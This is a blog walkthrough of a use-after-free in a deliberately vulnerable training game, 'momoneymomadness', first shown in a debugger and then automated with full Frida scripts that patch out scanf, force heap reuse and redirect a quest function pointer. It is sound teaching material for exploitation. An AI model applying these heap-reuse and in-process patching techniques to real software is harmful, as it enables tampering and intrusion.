# Intro
Over the weekend I was `perusing the interwebs` and I found a series of posts by [@inversecos](https://twitter.com/inversecos). I have listed the parts out below.
- [How to Reverse Engineer and Patch an iOS Application for Beginners: Part I](https://www.inversecos.com/2022/06/how-to-reverse-engineer-and-patch-ios.html)
- [Guide to Reversing and Exploiting iOS binaries Part 2: ARM64 ROP Chains](https://www.inversecos.com/2022/06/guide-to-reversing-and-exploiting-ios.html)
- [Heap Overflows on iOS ARM64: Heap Spraying, Use-After-Free (Part 3)](https://www.inversecos.com/2022/07/heap-overflows-on-ios-arm64-heap.html)
A really great resources for a `layperson`, like me, and I can recommend them with confidence. Anyway, I was curious about the binary exploitation challenge in the third part. First, of course, I thought about setting up an `Arm64 VM` but ain't nobody got time for that. Luckily [the source](https://github.com/inversecos/ios-moneymachine) is also available so I just compiled it for `x64`.
![[MoMoney-1.png]]
There is also an opportunity here to test for behavioural differences based on the architecture (there are none FYI).
Our plan is to first replicate the `UAF` and then show how we can use `Frida` to `autopwn` the binary.
```
You can’t saye him down with ye fformula, for that will Worke only upon such as ye other fformula hath call’d up from Saltes; but you still have strong Handes and Knife and Pistol, and Graves are not harde to digg, nor Acids loth to burne.
```
# Salting the battlefield
### Preface
You have access to the source and the post, of course, but I will only be showing `BinaryNinja` decompiled output. I went into this blind more-or-less and looked at the write-up afterwards so we will go through that same experience here.
### What is the objective?
The binary is like a small mini-game. There is apparently some `l3git` item we can buy if we have enough gold. But we don't clearly..
![[MoMoney-2.png]]
We can decompile the `buyItems()` function to have a look at it.
![[MoMoney-3.png]]
Ok, interesting, we need `999999` gold to play this game, `#Pay2Win` mentality.
But how can we get more gold? Looking through the binary there is another function that jumps out, `makeItRain()`.
![[MoMoney-4.png]]
This function increments our gold counter by a sufficient amount but there is no way to call it natively..
### How about p0wn?
Below you have the full `main` function. Notice a few things here:
- We have a `scanf` loop asking for input in `%d` format.
- We have `7` cases really, even though only `6` are relevant (more on that later).
- We can see that in `case 2` (`[2] New quest`) the binary mallocs `0x80 bytes` and populates a static quest (`Goblin Diplomacy`), then at an offset of `0x20` in that allocation it writes a reference to a function call, `listQuests()`.
- We can see also that in `case 5` (`[5] Leave quests`), if we have a quest, we `Free` it.
- `case 3` (`[3] Available quests`), finally, calls the function pointer set by `case 2`.
Clearly there is an issue here, if do `new quest -> free -> list`, then we will be calling a pointer from `Free'd` memory. Note also that if you call `Available Quests` before `New Quest` you will actually crash the program.
![[MoMoney-5.png]]
This is a pretty clear `UAF`. One thing we need to touch on though is how we can replace the `Free'd` object. Conveniently, `case 4` (`[4] Import items`) mallocs an object of the same size (`0x80 bytes`) from attacker controlled data (a file in this case).
### Debug
Let's have a look in `WinDbg`. We will break in `case 2` right after the data has been populated.
![[MoMoney-6.png]]
As expected we see the quest has been allocated and at an offset of `0x20` we have a pointer to `listQuests()`.
![[MoMoney-7.png]]
Let's quickly make a dummy `Item File` that matches the same format. Something like this.
![[MoMoney-8.png]]
If we free the quest and then read our file into memory (a few times, maybe) we should be able to reuse the previous address. The binary will then try to call `0x4141414141414141` if we list available quests. We don't have any info leaks in the program but we can look up the runtime address of our target function (`makeItRain()`).
![[MoMoney-9.png]]
You can see the full chain below. It's kind of surprising right that `Malloc` has such bad entropy?
![[MoMoney-10.png]]
After reading the file we can get our `l3git` item as expected.
![[MoMoney-11.png]]
# Binary Instrumentation
What about `autopwn` though? Clearly if we are executing in-process we can cheat *A LOT*, something my `Frida course students` will be accustomed to! I will give you an example where we cheat but also an example were we actually exploit the `UAF` (in spirit).
### Much cheat, such skill
There are many options naturally:
- We can manipulate our `money counter`
- We can make a native function call to `makeItRain()`
- We can hook and modify `buyItems()`
- We can rewrite `case 2` so it sets a pointer to `makeItRain()` instead of `listQuests()`
- We can substitute the `listQuests()` pointer in a quest allocation
- ...
And other variations of these. Let's just do the easy thing here, we can calculate the static offset for the money counter and overwrite the `DWORD` in memory.
![[MoMoney-12.png]]
```js
// Get pointers
//==============
let pBase = Module.getBaseAddress("momoneymomadness.exe");
let pMoneyMoney = pBase.add(0x00017030);
// Blob the money
//==============
pMoneyMoney.writeU32(1234567);
```
![[MoMoney-13.png]]
### How about p0wn?
Ok, so I was thinking about this a little bit and it is not totally straight-forward. The main difficulty is that we have to deal with `scanf` pausing the `loop` inside `main` while waiting for input. We have some options, they are all a bit ugly.
- We can try to get a handle to `stdin` with `GetStdHandle` and then pass keyboard input with `WriteConsoleInput`.
- We can focus the `momoneymomadness` window and pass keyboard input using `SendInput`. This is something we do in the course as well with mouse events.
- We can patch the binary to do `something`?
I didn't really feel like implementing a bunch of wrappers around [`_INPUT_RECORD`](https://learn.microsoft.com/en-us/windows/console/input-record-str) and / or [`INPUT`](https://learn.microsoft.com/en-us/windows/win32/api/winuser/ns-winuser-input) but you certainly can. I chose door number three, patch the binary `somehow`.
If we look again at the `main` function, we can see that there is a tight loop around the cases (`0-6`). We also note, as mentioned previously, that `case 0` actually doesn't do anything it just hops to the next iteration of the loop.
![[MoMoney-14.png]]
If we can find out where `menuOption` is being read from we can actually `nop` out the `scanf` call and when we want to trigger a menu option we simply write the number to the memory buffer (and set it back to `0` afterwards).
Looking at the assembly it's actually quite easy to tell where the buffer resides whenever the `main` function is called initially.
![[MoMoney-15.png]]
We have the buffer at an offset of `RSP` on entering the function.
```js
// Get pointers
//==============
let pBase = Module.getBaseAddress("momoneymomadness.exe");
let pMainLoop = pBase.add(0x0000174e);
// Globals
//==============
let pScanfData = null;
// Hooks
//==============
Interceptor.attach(pMainLoop, {
onEnter: function(args) {
// 0 @ 0000174e push(rbp)
// 1 @ 0000174f rbp = rsp {var_8}
// ......
// 24 @ 000017b7 call(scanf)
// 25 @ 000017bc eax = [rbp - 0x24 {menuOption}].d
send("[?] Leaking scanf buffer..");
let pRSP = this.context.rsp;
pScanfData = pRSP.sub(0x24).sub(0x8);
send(" |_ " + pScanfData);
},
})
```
With the reference in hand we are free to `nop` the call. We save the original bytes so we can restore them at the end to stop the binary from looping infinitely.
```js
// Get pointers
//==============
let pBase = Module.getBaseAddress("momoneymomadness.exe");
// Pwn function
//==============
send("[>] Patching out scanf call..");
let pMainFuncCall = pBase.add(0x000017b7);
// 000017b7 e824feffff call scanf
let aOriginalBytes = pMainFuncCall.readByteArray(5); // save to restore later
Memory.protect(pMainFuncCall, 5, 'rwx');
pMainFuncCall.writeByteArray([0x90, 0x90, 0x90, 0x90, 0x90])
```
At this point the main loop will be running on repeat. We can set a case manually, like so:
```js
// Globals
//==============
let pScanfData = null;
// Helpers
//==============
function setCaseSwitch(caseint) {
let pCase = new NativePointer(pScanfData);
pCase.writeU32(caseint)
}
```
This causes some complications however because execution happens so fast that any delays in triggering a change can be detrimental. To get around this some horrible use of `globals` and DYI `lock` and `wait` functions are used.
Generally the exploitation is very similar to doing it in the debugger.
- Patch out the `scanf` call
- Request a new quest
- Record the `Malloc` pointer
- Free the quest
- Loop a Frida `NativeFunction` call for `Malloc` to reallocate at the same address
- Set a pointer to `makeItRain()` at `0x20` offset in the new allocation
- Request a list of available quests
- Buy the legendary item
- Retore the `scanf` call to pause the loop
![[MoMoney-16.gif]]
You can see the full script below, it's not a perfect implementation but it is serviceable.
```js
// Get pointers
//==============
let pBase = Module.getBaseAddress("momoneymomadness.exe");
let pMainLoop = pBase.add(0x0000174e);
let pMalloc = pBase.add(0x00011b50);
let pFree = pBase.add(0x00011ac0);
let pCream = pBase.add(0x0000171f);
// Globals
//==============
let pScanfData = null;
let bRecordAlloc = true;
let bLockRelease = false;
let pUseAlloc = null;
let count = 0;
// Native function call
//==============
var fMalloc = new NativeFunction(pMalloc, 'pointer', ['uint']);
var fFree = new NativeFunction(pFree, 'void', ['pointer']);
// Helpers
//==============
// Trigger specific switch case
function setCaseSwitch(caseint) {
let pCase = new NativePointer(pScanfData);
pCase.writeU32(caseint)
}
function lockWait() {
return new Promise(function(resolve) {
var interval = setInterval(function() {
if (bLockRelease) {
clearInterval(interval);
bLockRelease = false;
resolve();
}
}, 100);
});
}
function timeWait(seconds) {
return new Promise(resolve => {
setTimeout(resolve, seconds * 1000);
});
}
// Hooks
//==============
Interceptor.attach(pFree, {
onEnter: function(args) {
send("[?] Free called..");
setCaseSwitch(0);
},
})
Interceptor.attach(pMainLoop, {
onEnter: function(args) {
// 0 @ 0000174e push(rbp)
// 1 @ 0000174f rbp = rsp {var_8}
// ......
// 24 @ 000017b7 call(scanf)
// 25 @ 000017bc eax = [rbp - 0x24 {menuOption}].d
send("[?] Leaking scanf buffer..");
let pRSP = this.context.rsp;
pScanfData = pRSP.sub(0x24).sub(0x8);
send(" |_ " + pScanfData);
// With the refference, call pwn
pwn();
},
})
Interceptor.attach(pMalloc, {
onEnter: function(args) {
this.size = args[0];
},
onLeave: function(retval) {
// Capture only Quest allocs
if(parseInt(this.size) == 0x80 && bRecordAlloc) {
send("[?] Malloc called..");
send(" |_ Size : " + this.size);
send(" |_ Ptr : " + retval);
pUseAlloc = parseInt(retval.toString(), 16);
send(hexdump(retval, {length:parseInt(this.size)}));
// Reset case switch
setCaseSwitch(0);
// Stop recording
bRecordAlloc = false;
// Release lock
bLockRelease = true;
}
}
})
// Pwn logic
//==============
async function pwn() {
// We want to nop out scanf so it loops continuously
send("[>] Patching out scanf call..");
let pMainFuncCall = pBase.add(0x000017b7);
let aOriginalBytes = pMainFuncCall.readByteArray(5);
Memory.protect(pMainFuncCall, 5, 'rwx');
pMainFuncCall.writeByteArray([0x90, 0x90, 0x90, 0x90, 0x90])
// Alloc new quest
send("[>] Trigger new quest allocation");
setCaseSwitch(2);
await lockWait();
// Free the allocation
send("[>] Freeing quest..");
fFree(new NativePointer(pUseAlloc));
// Forcing UAF realloc
send("[!] Trigger UAF");
var count = 0;
while(true) {
let uaf = fMalloc(0x80);
send(" |_ Malloc -> " + uaf);
if (new NativePointer(uaf) == new NativePointer(pUseAlloc) || count > 3) {
break;
}
count +=1;
}
send("[*] Success reallocated quest memory..")
send("[>] Write momoneymomadness");
(new NativePointer(pUseAlloc)).add(32).writePointer(pCream);
send("[*] Trigger available quests callback..");
setCaseSwitch(3);
await timeWait(0.01);
send("[*] Buy legendary item..");
setCaseSwitch(1);
await timeWait(0.01);
send("[>] Restore scanf call..");
pMainFuncCall.writeByteArray(aOriginalBytes);
}
```